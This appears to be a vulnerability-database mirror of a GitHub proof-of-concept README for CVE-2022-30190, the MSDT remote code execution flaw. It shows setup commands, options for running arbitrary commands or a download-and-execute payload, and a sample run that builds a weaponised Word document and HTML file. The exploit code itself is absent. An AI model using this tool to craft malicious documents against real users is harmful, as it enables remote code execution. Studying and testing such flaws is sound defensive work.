CVE-2022-30190 PoC — Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability

Source

https://github.com/joshuavanderpoll/CVE-2022-30190

Associated Vulnerability

Title: Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability (CVE-2022-30190)
Description:A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.

Description

Microsoft Support Diagnostic Tool (CVE-2022-30190)

Readme

# CVE-2022-30190 - Microsoft Support Diagnostic Tool

## About

This script will attempt to create a Microsoft Office document which will remotely execute code.

## Setup

```
git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git
cd CVE-2022-30190
python3 CVE-2022-30190.py --help
```

## Options
```
usage: CVE-2022-30190.py [-h] [--html HTML] [--cmd CMD] [--downexec]
                         [--download_url DOWNLOAD_URL]

Generate CVE-2022-30190 Word documents.

optional arguments:
  -h, --help            show this help message and exit
  --html HTML           URL to online exploit HTML file
  --cmd CMD             Command you want to execute on run
  --downexec            Enable download and execute mode
  --download_url DOWNLOAD_URL
                        Source where to download and execute from
```

## Examples

```
$ python3 CVE-2022-30190.py --doc="Original.docx" --html="http://localhost/Exploit.html" --cmd="start https://github.com/joshuavanderpoll"
[@] Starting CVE-2022-30190 Generator...
[•] Created by https://github.com/joshuavanderpoll
[•] Using Word document: Original.docx
[•] Deflating Word document...
[•] Deflated Word document.
[√] Exploited Word document saved in "./builds/Exploit.docx" (1109 bytes).
[√] Exploit HTML file saved in "./builds/Exploit.html" (4241 bytes).
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →